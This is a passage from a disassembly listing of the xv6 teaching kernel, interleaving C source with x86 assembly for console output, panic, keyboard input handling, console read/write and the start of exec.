801004a2: 89 55 f0 mov %edx,-0x10(%ebp)
801004a5: 8b 00 mov (%eax),%eax
801004a7: 89 45 ec mov %eax,-0x14(%ebp)
801004aa: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801004ae: 75 09 jne 801004b9 <cprintf+0x119>
s = "(null)";
801004b0: c7 45 ec c7 89 10 80 movl $0x801089c7,-0x14(%ebp)
for(; *s; s++)
801004b7: eb 17 jmp 801004d0 <cprintf+0x130>
801004b9: eb 15 jmp 801004d0 <cprintf+0x130>
consputc(*s);
801004bb: 8b 45 ec mov -0x14(%ebp),%eax
801004be: 0f b6 00 movzbl (%eax),%eax
801004c1: 0f be c0 movsbl %al,%eax
801004c4: 89 04 24 mov %eax,(%esp)
801004c7: e8 84 02 00 00 call 80100750 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
801004cc: 83 45 ec 01 addl $0x1,-0x14(%ebp)
801004d0: 8b 45 ec mov -0x14(%ebp),%eax
801004d3: 0f b6 00 movzbl (%eax),%eax
801004d6: 84 c0 test %al,%al
801004d8: 75 e1 jne 801004bb <cprintf+0x11b>
consputc(*s);
break;
801004da: eb 26 jmp 80100502 <cprintf+0x162>
case '%':
consputc('%');
801004dc: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004e3: e8 68 02 00 00 call 80100750 <consputc>
break;
801004e8: eb 18 jmp 80100502 <cprintf+0x162>
default:
// Print unknown % sequence to draw attention.
consputc('%');
801004ea: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004f1: e8 5a 02 00 00 call 80100750 <consputc>
consputc(c);
801004f6: 8b 45 e4 mov -0x1c(%ebp),%eax
801004f9: 89 04 24 mov %eax,(%esp)
801004fc: e8 4f 02 00 00 call 80100750 <consputc>
break;
80100501: 90 nop
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100502: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100506: 8b 55 08 mov 0x8(%ebp),%edx
80100509: 8b 45 f4 mov -0xc(%ebp),%eax
8010050c: 01 d0 add %edx,%eax
8010050e: 0f b6 00 movzbl (%eax),%eax
80100511: 0f be c0 movsbl %al,%eax
80100514: 25 ff 00 00 00 and $0xff,%eax
80100519: 89 45 e4 mov %eax,-0x1c(%ebp)
8010051c: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100520: 0f 85 bf fe ff ff jne 801003e5 <cprintf+0x45>
consputc(c);
break;
}
}
if(locking)
80100526: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010052a: 74 0c je 80100538 <cprintf+0x198>
release(&cons.lock);
8010052c: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100533: e8 8d 4d 00 00 call 801052c5 <release>
}
80100538: c9 leave
80100539: c3 ret
8010053a <panic>:
void
panic(char *s)
{
8010053a: 55 push %ebp
8010053b: 89 e5 mov %esp,%ebp
8010053d: 83 ec 48 sub $0x48,%esp
int i;
uint pcs[10];
cli();
80100540: e8 a6 fd ff ff call 801002eb <cli>
cons.locking = 0;
80100545: c7 05 14 c6 10 80 00 movl $0x0,0x8010c614
8010054c: 00 00 00
cprintf("cpu%d: panic: ", cpu->id);
8010054f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80100555: 0f b6 00 movzbl (%eax),%eax
80100558: 0f b6 c0 movzbl %al,%eax
8010055b: 89 44 24 04 mov %eax,0x4(%esp)
8010055f: c7 04 24 ce 89 10 80 movl $0x801089ce,(%esp)
80100566: e8 35 fe ff ff call 801003a0 <cprintf>
cprintf(s);
8010056b: 8b 45 08 mov 0x8(%ebp),%eax
8010056e: 89 04 24 mov %eax,(%esp)
80100571: e8 2a fe ff ff call 801003a0 <cprintf>
cprintf("\n");
80100576: c7 04 24 dd 89 10 80 movl $0x801089dd,(%esp)
8010057d: e8 1e fe ff ff call 801003a0 <cprintf>
getcallerpcs(&s, pcs);
80100582: 8d 45 cc lea -0x34(%ebp),%eax
80100585: 89 44 24 04 mov %eax,0x4(%esp)
80100589: 8d 45 08 lea 0x8(%ebp),%eax
8010058c: 89 04 24 mov %eax,(%esp)
8010058f: e8 80 4d 00 00 call 80105314 <getcallerpcs>
for(i=0; i<10; i++)
80100594: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010059b: eb 1b jmp 801005b8 <panic+0x7e>
cprintf(" %p", pcs[i]);
8010059d: 8b 45 f4 mov -0xc(%ebp),%eax
801005a0: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax
801005a4: 89 44 24 04 mov %eax,0x4(%esp)
801005a8: c7 04 24 df 89 10 80 movl $0x801089df,(%esp)
801005af: e8 ec fd ff ff call 801003a0 <cprintf>
cons.locking = 0;
cprintf("cpu%d: panic: ", cpu->id);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801005b4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801005b8: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
801005bc: 7e df jle 8010059d <panic+0x63>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801005be: c7 05 c0 c5 10 80 01 movl $0x1,0x8010c5c0
801005c5: 00 00 00
for(;;)
;
801005c8: eb fe jmp 801005c8 <panic+0x8e>
801005ca <cgaputc>:
#define CRTPORT 0x3d4
static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory
static void
cgaputc(int c)
{
801005ca: 55 push %ebp
801005cb: 89 e5 mov %esp,%ebp
801005cd: 83 ec 28 sub $0x28,%esp
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
801005d0: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801005d7: 00
801005d8: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801005df: e8 e9 fc ff ff call 801002cd <outb>
pos = inb(CRTPORT+1) << 8;
801005e4: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
801005eb: e8 c0 fc ff ff call 801002b0 <inb>
801005f0: 0f b6 c0 movzbl %al,%eax
801005f3: c1 e0 08 shl $0x8,%eax
801005f6: 89 45 f4 mov %eax,-0xc(%ebp)
outb(CRTPORT, 15);
801005f9: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80100600: 00
80100601: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100608: e8 c0 fc ff ff call 801002cd <outb>
pos |= inb(CRTPORT+1);
8010060d: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100614: e8 97 fc ff ff call 801002b0 <inb>
80100619: 0f b6 c0 movzbl %al,%eax
8010061c: 09 45 f4 or %eax,-0xc(%ebp)
if(c == '\n')
8010061f: 83 7d 08 0a cmpl $0xa,0x8(%ebp)
80100623: 75 30 jne 80100655 <cgaputc+0x8b>
pos += 80 - pos%80;
80100625: 8b 4d f4 mov -0xc(%ebp),%ecx
80100628: ba 67 66 66 66 mov $0x66666667,%edx
8010062d: 89 c8 mov %ecx,%eax
8010062f: f7 ea imul %edx
80100631: c1 fa 05 sar $0x5,%edx
80100634: 89 c8 mov %ecx,%eax
80100636: c1 f8 1f sar $0x1f,%eax
80100639: 29 c2 sub %eax,%edx
8010063b: 89 d0 mov %edx,%eax
8010063d: c1 e0 02 shl $0x2,%eax
80100640: 01 d0 add %edx,%eax
80100642: c1 e0 04 shl $0x4,%eax
80100645: 29 c1 sub %eax,%ecx
80100647: 89 ca mov %ecx,%edx
80100649: b8 50 00 00 00 mov $0x50,%eax
8010064e: 29 d0 sub %edx,%eax
80100650: 01 45 f4 add %eax,-0xc(%ebp)
80100653: eb 35 jmp 8010068a <cgaputc+0xc0>
else if(c == BACKSPACE){
80100655: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010065c: 75 0c jne 8010066a <cgaputc+0xa0>
if(pos > 0) --pos;
8010065e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100662: 7e 26 jle 8010068a <cgaputc+0xc0>
80100664: 83 6d f4 01 subl $0x1,-0xc(%ebp)
80100668: eb 20 jmp 8010068a <cgaputc+0xc0>
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010066a: 8b 0d 00 a0 10 80 mov 0x8010a000,%ecx
80100670: 8b 45 f4 mov -0xc(%ebp),%eax
80100673: 8d 50 01 lea 0x1(%eax),%edx
80100676: 89 55 f4 mov %edx,-0xc(%ebp)
80100679: 01 c0 add %eax,%eax
8010067b: 8d 14 01 lea (%ecx,%eax,1),%edx
8010067e: 8b 45 08 mov 0x8(%ebp),%eax
80100681: 0f b6 c0 movzbl %al,%eax
80100684: 80 cc 07 or $0x7,%ah
80100687: 66 89 02 mov %ax,(%edx)
if((pos/80) >= 24){ // Scroll up.
8010068a: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp)
80100691: 7e 53 jle 801006e6 <cgaputc+0x11c>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100693: a1 00 a0 10 80 mov 0x8010a000,%eax
80100698: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
8010069e: a1 00 a0 10 80 mov 0x8010a000,%eax
801006a3: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801006aa: 00
801006ab: 89 54 24 04 mov %edx,0x4(%esp)
801006af: 89 04 24 mov %eax,(%esp)
801006b2: e8 d2 4e 00 00 call 80105589 <memmove>
pos -= 80;
801006b7: 83 6d f4 50 subl $0x50,-0xc(%ebp)
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801006bb: b8 80 07 00 00 mov $0x780,%eax
801006c0: 2b 45 f4 sub -0xc(%ebp),%eax
801006c3: 8d 14 00 lea (%eax,%eax,1),%edx
801006c6: a1 00 a0 10 80 mov 0x8010a000,%eax
801006cb: 8b 4d f4 mov -0xc(%ebp),%ecx
801006ce: 01 c9 add %ecx,%ecx
801006d0: 01 c8 add %ecx,%eax
801006d2: 89 54 24 08 mov %edx,0x8(%esp)
801006d6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801006dd: 00
801006de: 89 04 24 mov %eax,(%esp)
801006e1: e8 d4 4d 00 00 call 801054ba <memset>
}
outb(CRTPORT, 14);
801006e6: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801006ed: 00
801006ee: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801006f5: e8 d3 fb ff ff call 801002cd <outb>
outb(CRTPORT+1, pos>>8);
801006fa: 8b 45 f4 mov -0xc(%ebp),%eax
801006fd: c1 f8 08 sar $0x8,%eax
80100700: 0f b6 c0 movzbl %al,%eax
80100703: 89 44 24 04 mov %eax,0x4(%esp)
80100707: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
8010070e: e8 ba fb ff ff call 801002cd <outb>
outb(CRTPORT, 15);
80100713: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
8010071a: 00
8010071b: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100722: e8 a6 fb ff ff call 801002cd <outb>
outb(CRTPORT+1, pos);
80100727: 8b 45 f4 mov -0xc(%ebp),%eax
8010072a: 0f b6 c0 movzbl %al,%eax
8010072d: 89 44 24 04 mov %eax,0x4(%esp)
80100731: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100738: e8 90 fb ff ff call 801002cd <outb>
crt[pos] = ' ' | 0x0700;
8010073d: a1 00 a0 10 80 mov 0x8010a000,%eax
80100742: 8b 55 f4 mov -0xc(%ebp),%edx
80100745: 01 d2 add %edx,%edx
80100747: 01 d0 add %edx,%eax
80100749: 66 c7 00 20 07 movw $0x720,(%eax)
}
8010074e: c9 leave
8010074f: c3 ret
80100750 <consputc>:
void
consputc(int c)
{
80100750: 55 push %ebp
80100751: 89 e5 mov %esp,%ebp
80100753: 83 ec 18 sub $0x18,%esp
if(panicked){
80100756: a1 c0 c5 10 80 mov 0x8010c5c0,%eax
8010075b: 85 c0 test %eax,%eax
8010075d: 74 07 je 80100766 <consputc+0x16>
cli();
8010075f: e8 87 fb ff ff call 801002eb <cli>
for(;;)
;
80100764: eb fe jmp 80100764 <consputc+0x14>
}
if(c == BACKSPACE){
80100766: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010076d: 75 26 jne 80100795 <consputc+0x45>
uartputc('\b'); uartputc(' '); uartputc('\b');
8010076f: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100776: e8 58 68 00 00 call 80106fd3 <uartputc>
8010077b: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80100782: e8 4c 68 00 00 call 80106fd3 <uartputc>
80100787: c7 04 24 08 00 00 00 movl $0x8,(%esp)
8010078e: e8 40 68 00 00 call 80106fd3 <uartputc>
80100793: eb 0b jmp 801007a0 <consputc+0x50>
} else
uartputc(c);
80100795: 8b 45 08 mov 0x8(%ebp),%eax
80100798: 89 04 24 mov %eax,(%esp)
8010079b: e8 33 68 00 00 call 80106fd3 <uartputc>
cgaputc(c);
801007a0: 8b 45 08 mov 0x8(%ebp),%eax
801007a3: 89 04 24 mov %eax,(%esp)
801007a6: e8 1f fe ff ff call 801005ca <cgaputc>
}
801007ab: c9 leave
801007ac: c3 ret
801007ad <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007ad: 55 push %ebp
801007ae: 89 e5 mov %esp,%ebp
801007b0: 83 ec 28 sub $0x28,%esp
int c;
acquire(&input.lock);
801007b3: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
801007ba: e8 a4 4a 00 00 call 80105263 <acquire>
while((c = getc()) >= 0){
801007bf: e9 37 01 00 00 jmp 801008fb <consoleintr+0x14e>
switch(c){
801007c4: 8b 45 f4 mov -0xc(%ebp),%eax
801007c7: 83 f8 10 cmp $0x10,%eax
801007ca: 74 1e je 801007ea <consoleintr+0x3d>
801007cc: 83 f8 10 cmp $0x10,%eax
801007cf: 7f 0a jg 801007db <consoleintr+0x2e>
801007d1: 83 f8 08 cmp $0x8,%eax
801007d4: 74 64 je 8010083a <consoleintr+0x8d>
801007d6: e9 91 00 00 00 jmp 8010086c <consoleintr+0xbf>
801007db: 83 f8 15 cmp $0x15,%eax
801007de: 74 2f je 8010080f <consoleintr+0x62>
801007e0: 83 f8 7f cmp $0x7f,%eax
801007e3: 74 55 je 8010083a <consoleintr+0x8d>
801007e5: e9 82 00 00 00 jmp 8010086c <consoleintr+0xbf>
case C('P'): // Process listing.
procdump();
801007ea: e8 21 49 00 00 call 80105110 <procdump>
break;
801007ef: e9 07 01 00 00 jmp 801008fb <consoleintr+0x14e>
case C('U'): // Kill line.
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801007f4: a1 5c 18 11 80 mov 0x8011185c,%eax
801007f9: 83 e8 01 sub $0x1,%eax
801007fc: a3 5c 18 11 80 mov %eax,0x8011185c
consputc(BACKSPACE);
80100801: c7 04 24 00 01 00 00 movl $0x100,(%esp)
80100808: e8 43 ff ff ff call 80100750 <consputc>
8010080d: eb 01 jmp 80100810 <consoleintr+0x63>
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
8010080f: 90 nop
80100810: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
80100816: a1 58 18 11 80 mov 0x80111858,%eax
8010081b: 39 c2 cmp %eax,%edx
8010081d: 74 16 je 80100835 <consoleintr+0x88>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
8010081f: a1 5c 18 11 80 mov 0x8011185c,%eax
80100824: 83 e8 01 sub $0x1,%eax
80100827: 83 e0 7f and $0x7f,%eax
8010082a: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100831: 3c 0a cmp $0xa,%al
80100833: 75 bf jne 801007f4 <consoleintr+0x47>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
consputc(BACKSPACE);
}
break;
80100835: e9 c1 00 00 00 jmp 801008fb <consoleintr+0x14e>
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
8010083a: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
80100840: a1 58 18 11 80 mov 0x80111858,%eax
80100845: 39 c2 cmp %eax,%edx
80100847: 74 1e je 80100867 <consoleintr+0xba>
input.e--;
80100849: a1 5c 18 11 80 mov 0x8011185c,%eax
8010084e: 83 e8 01 sub $0x1,%eax
80100851: a3 5c 18 11 80 mov %eax,0x8011185c
consputc(BACKSPACE);
80100856: c7 04 24 00 01 00 00 movl $0x100,(%esp)
8010085d: e8 ee fe ff ff call 80100750 <consputc>
}
break;
80100862: e9 94 00 00 00 jmp 801008fb <consoleintr+0x14e>
80100867: e9 8f 00 00 00 jmp 801008fb <consoleintr+0x14e>
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
8010086c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100870: 0f 84 84 00 00 00 je 801008fa <consoleintr+0x14d>
80100876: 8b 15 5c 18 11 80 mov 0x8011185c,%edx
8010087c: a1 54 18 11 80 mov 0x80111854,%eax
80100881: 29 c2 sub %eax,%edx
80100883: 89 d0 mov %edx,%eax
80100885: 83 f8 7f cmp $0x7f,%eax
80100888: 77 70 ja 801008fa <consoleintr+0x14d>
c = (c == '\r') ? '\n' : c;
8010088a: 83 7d f4 0d cmpl $0xd,-0xc(%ebp)
8010088e: 74 05 je 80100895 <consoleintr+0xe8>
80100890: 8b 45 f4 mov -0xc(%ebp),%eax
80100893: eb 05 jmp 8010089a <consoleintr+0xed>
80100895: b8 0a 00 00 00 mov $0xa,%eax
8010089a: 89 45 f4 mov %eax,-0xc(%ebp)
input.buf[input.e++ % INPUT_BUF] = c;
8010089d: a1 5c 18 11 80 mov 0x8011185c,%eax
801008a2: 8d 50 01 lea 0x1(%eax),%edx
801008a5: 89 15 5c 18 11 80 mov %edx,0x8011185c
801008ab: 83 e0 7f and $0x7f,%eax
801008ae: 89 c2 mov %eax,%edx
801008b0: 8b 45 f4 mov -0xc(%ebp),%eax
801008b3: 88 82 d4 17 11 80 mov %al,-0x7feee82c(%edx)
consputc(c);
801008b9: 8b 45 f4 mov -0xc(%ebp),%eax
801008bc: 89 04 24 mov %eax,(%esp)
801008bf: e8 8c fe ff ff call 80100750 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008c4: 83 7d f4 0a cmpl $0xa,-0xc(%ebp)
801008c8: 74 18 je 801008e2 <consoleintr+0x135>
801008ca: 83 7d f4 04 cmpl $0x4,-0xc(%ebp)
801008ce: 74 12 je 801008e2 <consoleintr+0x135>
801008d0: a1 5c 18 11 80 mov 0x8011185c,%eax
801008d5: 8b 15 54 18 11 80 mov 0x80111854,%edx
801008db: 83 ea 80 sub $0xffffff80,%edx
801008de: 39 d0 cmp %edx,%eax
801008e0: 75 18 jne 801008fa <consoleintr+0x14d>
input.w = input.e;
801008e2: a1 5c 18 11 80 mov 0x8011185c,%eax
801008e7: a3 58 18 11 80 mov %eax,0x80111858
wakeup(&input.r);
801008ec: c7 04 24 54 18 11 80 movl $0x80111854,(%esp)
801008f3: e8 72 47 00 00 call 8010506a <wakeup>
}
}
break;
801008f8: eb 00 jmp 801008fa <consoleintr+0x14d>
801008fa: 90 nop
consoleintr(int (*getc)(void))
{
int c;
acquire(&input.lock);
while((c = getc()) >= 0){
801008fb: 8b 45 08 mov 0x8(%ebp),%eax
801008fe: ff d0 call *%eax
80100900: 89 45 f4 mov %eax,-0xc(%ebp)
80100903: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100907: 0f 89 b7 fe ff ff jns 801007c4 <consoleintr+0x17>
}
}
break;
}
}
release(&input.lock);
8010090d: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100914: e8 ac 49 00 00 call 801052c5 <release>
}
80100919: c9 leave
8010091a: c3 ret
8010091b <consoleread>:
int
consoleread(struct inode *ip, char *dst, int n)
{
8010091b: 55 push %ebp
8010091c: 89 e5 mov %esp,%ebp
8010091e: 83 ec 28 sub $0x28,%esp
uint target;
int c;
iunlock(ip);
80100921: 8b 45 08 mov 0x8(%ebp),%eax
80100924: 89 04 24 mov %eax,(%esp)
80100927: e8 80 10 00 00 call 801019ac <iunlock>
target = n;
8010092c: 8b 45 10 mov 0x10(%ebp),%eax
8010092f: 89 45 f4 mov %eax,-0xc(%ebp)
acquire(&input.lock);
80100932: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100939: e8 25 49 00 00 call 80105263 <acquire>
while(n > 0){
8010093e: e9 aa 00 00 00 jmp 801009ed <consoleread+0xd2>
while(input.r == input.w){
80100943: eb 42 jmp 80100987 <consoleread+0x6c>
if(proc->killed){
80100945: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010094b: 8b 40 24 mov 0x24(%eax),%eax
8010094e: 85 c0 test %eax,%eax
80100950: 74 21 je 80100973 <consoleread+0x58>
release(&input.lock);
80100952: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100959: e8 67 49 00 00 call 801052c5 <release>
ilock(ip);
8010095e: 8b 45 08 mov 0x8(%ebp),%eax
80100961: 89 04 24 mov %eax,(%esp)
80100964: e8 f5 0e 00 00 call 8010185e <ilock>
return -1;
80100969: b8 ff ff ff ff mov $0xffffffff,%eax
8010096e: e9 a5 00 00 00 jmp 80100a18 <consoleread+0xfd>
}
sleep(&input.r, &input.lock);
80100973: c7 44 24 04 a0 17 11 movl $0x801117a0,0x4(%esp)
8010097a: 80
8010097b: c7 04 24 54 18 11 80 movl $0x80111854,(%esp)
80100982: e8 07 46 00 00 call 80104f8e <sleep>
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
while(input.r == input.w){
80100987: 8b 15 54 18 11 80 mov 0x80111854,%edx
8010098d: a1 58 18 11 80 mov 0x80111858,%eax
80100992: 39 c2 cmp %eax,%edx
80100994: 74 af je 80100945 <consoleread+0x2a>
ilock(ip);
return -1;
}
sleep(&input.r, &input.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
80100996: a1 54 18 11 80 mov 0x80111854,%eax
8010099b: 8d 50 01 lea 0x1(%eax),%edx
8010099e: 89 15 54 18 11 80 mov %edx,0x80111854
801009a4: 83 e0 7f and $0x7f,%eax
801009a7: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax
801009ae: 0f be c0 movsbl %al,%eax
801009b1: 89 45 f0 mov %eax,-0x10(%ebp)
if(c == C('D')){ // EOF
801009b4: 83 7d f0 04 cmpl $0x4,-0x10(%ebp)
801009b8: 75 19 jne 801009d3 <consoleread+0xb8>
if(n < target){
801009ba: 8b 45 10 mov 0x10(%ebp),%eax
801009bd: 3b 45 f4 cmp -0xc(%ebp),%eax
801009c0: 73 0f jae 801009d1 <consoleread+0xb6>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
801009c2: a1 54 18 11 80 mov 0x80111854,%eax
801009c7: 83 e8 01 sub $0x1,%eax
801009ca: a3 54 18 11 80 mov %eax,0x80111854
}
break;
801009cf: eb 26 jmp 801009f7 <consoleread+0xdc>
801009d1: eb 24 jmp 801009f7 <consoleread+0xdc>
}
*dst++ = c;
801009d3: 8b 45 0c mov 0xc(%ebp),%eax
801009d6: 8d 50 01 lea 0x1(%eax),%edx
801009d9: 89 55 0c mov %edx,0xc(%ebp)
801009dc: 8b 55 f0 mov -0x10(%ebp),%edx
801009df: 88 10 mov %dl,(%eax)
--n;
801009e1: 83 6d 10 01 subl $0x1,0x10(%ebp)
if(c == '\n')
801009e5: 83 7d f0 0a cmpl $0xa,-0x10(%ebp)
801009e9: 75 02 jne 801009ed <consoleread+0xd2>
break;
801009eb: eb 0a jmp 801009f7 <consoleread+0xdc>
int c;
iunlock(ip);
target = n;
acquire(&input.lock);
while(n > 0){
801009ed: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801009f1: 0f 8f 4c ff ff ff jg 80100943 <consoleread+0x28>
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&input.lock);
801009f7: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
801009fe: e8 c2 48 00 00 call 801052c5 <release>
ilock(ip);
80100a03: 8b 45 08 mov 0x8(%ebp),%eax
80100a06: 89 04 24 mov %eax,(%esp)
80100a09: e8 50 0e 00 00 call 8010185e <ilock>
return target - n;
80100a0e: 8b 45 10 mov 0x10(%ebp),%eax
80100a11: 8b 55 f4 mov -0xc(%ebp),%edx
80100a14: 29 c2 sub %eax,%edx
80100a16: 89 d0 mov %edx,%eax
}
80100a18: c9 leave
80100a19: c3 ret
80100a1a <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100a1a: 55 push %ebp
80100a1b: 89 e5 mov %esp,%ebp
80100a1d: 83 ec 28 sub $0x28,%esp
int i;
iunlock(ip);
80100a20: 8b 45 08 mov 0x8(%ebp),%eax
80100a23: 89 04 24 mov %eax,(%esp)
80100a26: e8 81 0f 00 00 call 801019ac <iunlock>
acquire(&cons.lock);
80100a2b: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100a32: e8 2c 48 00 00 call 80105263 <acquire>
for(i = 0; i < n; i++)
80100a37: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80100a3e: eb 1d jmp 80100a5d <consolewrite+0x43>
consputc(buf[i] & 0xff);
80100a40: 8b 55 f4 mov -0xc(%ebp),%edx
80100a43: 8b 45 0c mov 0xc(%ebp),%eax
80100a46: 01 d0 add %edx,%eax
80100a48: 0f b6 00 movzbl (%eax),%eax
80100a4b: 0f be c0 movsbl %al,%eax
80100a4e: 0f b6 c0 movzbl %al,%eax
80100a51: 89 04 24 mov %eax,(%esp)
80100a54: e8 f7 fc ff ff call 80100750 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
80100a59: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100a5d: 8b 45 f4 mov -0xc(%ebp),%eax
80100a60: 3b 45 10 cmp 0x10(%ebp),%eax
80100a63: 7c db jl 80100a40 <consolewrite+0x26>
consputc(buf[i] & 0xff);
release(&cons.lock);
80100a65: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100a6c: e8 54 48 00 00 call 801052c5 <release>
ilock(ip);
80100a71: 8b 45 08 mov 0x8(%ebp),%eax
80100a74: 89 04 24 mov %eax,(%esp)
80100a77: e8 e2 0d 00 00 call 8010185e <ilock>
return n;
80100a7c: 8b 45 10 mov 0x10(%ebp),%eax
}
80100a7f: c9 leave
80100a80: c3 ret
80100a81 <consoleinit>:
void
consoleinit(void)
{
80100a81: 55 push %ebp
80100a82: 89 e5 mov %esp,%ebp
80100a84: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100a87: c7 44 24 04 e3 89 10 movl $0x801089e3,0x4(%esp)
80100a8e: 80
80100a8f: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp)
80100a96: e8 a7 47 00 00 call 80105242 <initlock>
initlock(&input.lock, "input");
80100a9b: c7 44 24 04 eb 89 10 movl $0x801089eb,0x4(%esp)
80100aa2: 80
80100aa3: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp)
80100aaa: e8 93 47 00 00 call 80105242 <initlock>
devsw[CONSOLE].write = consolewrite;
80100aaf: c7 05 0c 22 11 80 1a movl $0x80100a1a,0x8011220c
80100ab6: 0a 10 80
devsw[CONSOLE].read = consoleread;
80100ab9: c7 05 08 22 11 80 1b movl $0x8010091b,0x80112208
80100ac0: 09 10 80
cons.locking = 1;
80100ac3: c7 05 14 c6 10 80 01 movl $0x1,0x8010c614
80100aca: 00 00 00
picenable(IRQ_KBD);
80100acd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ad4: e8 ec 32 00 00 call 80103dc5 <picenable>
ioapicenable(IRQ_KBD, 0);
80100ad9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100ae0: 00
80100ae1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80100ae8: e8 77 1e 00 00 call 80102964 <ioapicenable>
}
80100aed: c9 leave
80100aee: c3 ret
80100aef: 90 nop
80100af0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
80100af0: 55 push %ebp
80100af1: 89 e5 mov %esp,%ebp
80100af3: 81 ec 38 01 00 00 sub $0x138,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
80100af9: e8 1c 29 00 00 call 8010341a <begin_op>
if((ip = namei(path)) == 0){
80100afe: 8b 45 08 mov 0x8(%ebp),%eax
80100b01: 89 04 24 mov %eax,(%esp)
80100b04: e8 00 19 00 00 call 80102409 <namei>
80100b09: 89 45 d8 mov %eax,-0x28(%ebp)
80100b0c: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100b10: 75 0f jne 80100b21 <exec+0x31>
end_op();
80100b12: e8 87 29 00 00 call 8010349e <end_op>
return -1;
80100b17: b8 ff ff ff ff mov $0xffffffff,%eax
80100b1c: e9 e8 03 00 00 jmp 80100f09 <exec+0x419>
}
ilock(ip);
80100b21: 8b 45 d8 mov -0x28(%ebp),%eax
80100b24: 89 04 24 mov %eax,(%esp)
80100b27: e8 32 0d 00 00 call 8010185e <ilock>
pgdir = 0;
80100b2c: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf))
